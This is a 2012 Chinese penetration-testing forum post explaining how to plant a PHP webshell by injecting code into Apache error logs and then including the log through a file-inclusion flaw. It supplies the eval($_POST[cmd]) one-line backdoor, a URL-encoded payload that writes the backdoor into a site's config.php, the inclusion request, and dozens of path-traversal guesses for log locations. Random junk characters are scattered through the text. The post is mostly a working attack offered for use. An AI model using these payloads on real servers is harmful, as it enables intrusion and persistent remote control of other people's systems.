中国网络渗透测试联盟

标题: php包含apache日志写马 [打印本页]
作者: admin    时间: 2012-9-15 14:27
标题: php包含apache日志写马
因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
% z* m' f) t$ u$ w( o  n% F
9 r. r; d; ~/ B7 V* c% H6 Q比如还是这句一句话木马 7 S5 I# f1 w2 C2 Z6 F/ K
<?eval($_POST[cmd]);?>   
3 ^* J; [" n$ G* z% E# H& z; L' P# \$ d& b% \; ?6 q" I. V
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
1 u  r* y5 Z8 y$ Q- w4 vfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 , d8 @4 v. `- R2 c+ k$ l5 Z3 I& V
& ^8 e4 V: X* L3 ~0 Y* G: Q9 C4 j
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
0 o  K0 i9 x6 B" q( \fclose($fp);?>   //在config.php里写入一句木马语句
. O3 r' y; k, N8 w8 ^$ _3 l
* g  \  o: v2 Q  D% n1 R4 M我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
, z  [9 E' y% t% k转换为 # \( X& p. j- Q2 f
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
8 a7 P% B" B% Bconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
) D7 b' V* ^4 |# e+ [$ H) ?%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B 2 m3 `, a$ e" Y4 i9 v* g2 b
fclose%28%24fp%29%3B%3F%3E
1 L1 C& S, c) E- H  q我们提交
6 z" b2 c" X0 X( Q7 F7 C/ x) ~4 Fhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww + P- P" i0 N0 N0 h' \" @
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp + o3 W0 S0 D  I! B" z  z8 d3 L
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B 3 D4 R# N4 R7 W# _& p. @0 C
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E $ k6 `/ u* q9 k& X
& T0 O) Z' F) |! `3 D
这样就错误日志里就记录下了这行写入webshell的代码。 ; _4 v$ K# {/ i1 c& G0 @
我们再来包含日志，提交
) q5 o6 w( B3 P1 R/ \" P% z; _http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log 3 i' r* ~& y0 P

; T, V' N4 o; L( e7 R$ B, [8 C这样webshell就写入成功了，config.php里就写入一句木马语句 3 Y" K( [% E$ X6 O1 ?  t8 P: E& V
OK.
, T, H; N" J: H9 xhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
* S! o) q8 k( i( R直接用lanker的客户端一连，主机就是你的了。
+ [3 Y/ y" F* J5 \: P
" l$ x9 R& B% v" KPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
5 c9 y6 k+ }0 T: x' L6 `( t
, d  m/ T3 n$ B9 ]. ]5 R其他的日志路径，你可以去猜，也可以参照这里。
& ?. x7 F& D& j, w9 |../../../../../../../../../../var/log/httpd/access_log ) t# O! d2 P9 P4 V: G' j! g; j1 ?" f
../../../../../../../../../../var/log/httpd/error_log
  }3 F) r5 Z( H( |, x5 |& d../apache/logs/error.log
6 k' m, s! H& {5 N. z8 H4 V' C../apache/logs/access.log
; t3 `. y# v( y; O../../apache/logs/error.log
1 R& h/ V( ~0 e, O../../apache/logs/access.log
3 F( U( C7 m9 c; [../../../apache/logs/error.log / Y, d! p1 `+ k- V; T, e0 n
../../../apache/logs/access.log / \2 G4 h% s  n3 a4 Y
../../../../../../../../../../etc/httpd/logs/acces_log
6 K" o; g* k/ q, P../../../../../../../../../../etc/httpd/logs/acces.log " H9 L5 H* Q9 ~4 q
../../../../../../../../../../etc/httpd/logs/error_log 6 W- ]  C: n: p1 J- F8 `4 q
../../../../../../../../../../etc/httpd/logs/error.log
6 X0 M" j# k/ H& H" ?+ }, v# `../../../../../../../../../../var/www/logs/access_log 9 D! N( E- e& }& C4 j
../../../../../../../../../../var/www/logs/access.log
" }! o1 @1 Y# h* V8 K3 p3 E( z../../../../../../../../../../usr/local/apache/logs/access_log ( w- r4 o: \7 h, f: w- I
../../../../../../../../../../usr/local/apache/logs/access.log
/ z# ]( v3 F% d# o../../../../../../../../../../var/log/apache/access_log ) I; w9 O# i9 A* F! e
../../../../../../../../../../var/log/apache/access.log
* Q( L9 o/ ]/ f! q. u../../../../../../../../../../var/log/access_log 2 G6 C: }$ H, u! y6 A, v
../../../../../../../../../../var/www/logs/error_log
1 _0 U) o. ]( L* X5 a  f../../../../../../../../../../var/www/logs/error.log
( O) D% W" Y, F9 i: L% d../../../../../../../../../../usr/local/apache/logs/error_log 9 U' y% m4 D1 z8 g$ h# s. v7 K
../../../../../../../../../../usr/local/apache/logs/error.log & P( H  p# H# J6 d2 Q! o- J4 f
../../../../../../../../../../var/log/apache/error_log $ l  z! R; b) `$ D
../../../../../../../../../../var/log/apache/error.log
/ c1 f6 z2 H- K1 L2 e../../../../../../../../../../var/log/access_log
# M8 Z) f  a, Y* r2 K- `../../../../../../../../../../var/log/error_log
) E+ @+ R6 s0 J' q  f7 B3 e2 F( S/var/log/httpd/access_log       0 s) P! t. u( P
/var/log/httpd/error_log     
3 U- l" X+ M4 T/ F: H../apache/logs/error.log     : B: R& {9 M6 j' ]! T9 |
../apache/logs/access.log
; ?+ h6 ?- Z$ j& K../../apache/logs/error.log 7 m& m( G6 x) s4 {( a: m
../../apache/logs/access.log
5 ]! l% e8 X- F; j9 i2 R# ?../../../apache/logs/error.log 1 B* ~3 N! t) I' R5 D* g2 `; }2 q, K
../../../apache/logs/access.log
0 `: p( F0 Q0 q' a: R/etc/httpd/logs/acces_log ( t5 T$ q5 x1 ~$ X' z& U7 }2 o" }% F2 a
/etc/httpd/logs/acces.log
6 G$ A& Y& D, J8 w* l0 ^* O- b9 T/etc/httpd/logs/error_log
, N) }" O- d* o6 i4 a8 y/etc/httpd/logs/error.log 7 |, W. r  l% D4 u. i
/var/www/logs/access_log & D. g/ O* G8 F; f& \0 k
/var/www/logs/access.log
, N1 _! Y% @$ ?# g# D9 g1 G/usr/local/apache/logs/access_log 5 \/ q0 W3 p! w/ [0 k
/usr/local/apache/logs/access.log
6 i, C8 u7 G+ w3 J' N' Y( F* M/var/log/apache/access_log 2 x, _. U4 e7 c& [* q- ?
/var/log/apache/access.log
3 ?8 Y* n8 I5 [0 {3 `) p% \& i/var/log/access_log
  t$ n* d8 W" J. {' r, W1 p8 x0 e/var/www/logs/error_log $ j3 h* E( l, N7 l9 [6 H
/var/www/logs/error.log
# T$ J& J+ g6 F* _/usr/local/apache/logs/error_log
4 o, e) h, \. m& ?- L- @8 d% i5 G3 w/usr/local/apache/logs/error.log
& O2 ^2 r6 O8 ?/var/log/apache/error_log , g( f. U" ?" v6 r- W  K) M
/var/log/apache/error.log
1 }9 o: \- U) m* f6 t; ~$ F% A7 c/var/log/access_log . s7 N" c6 }/ B7 W
/var/log/error_log



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2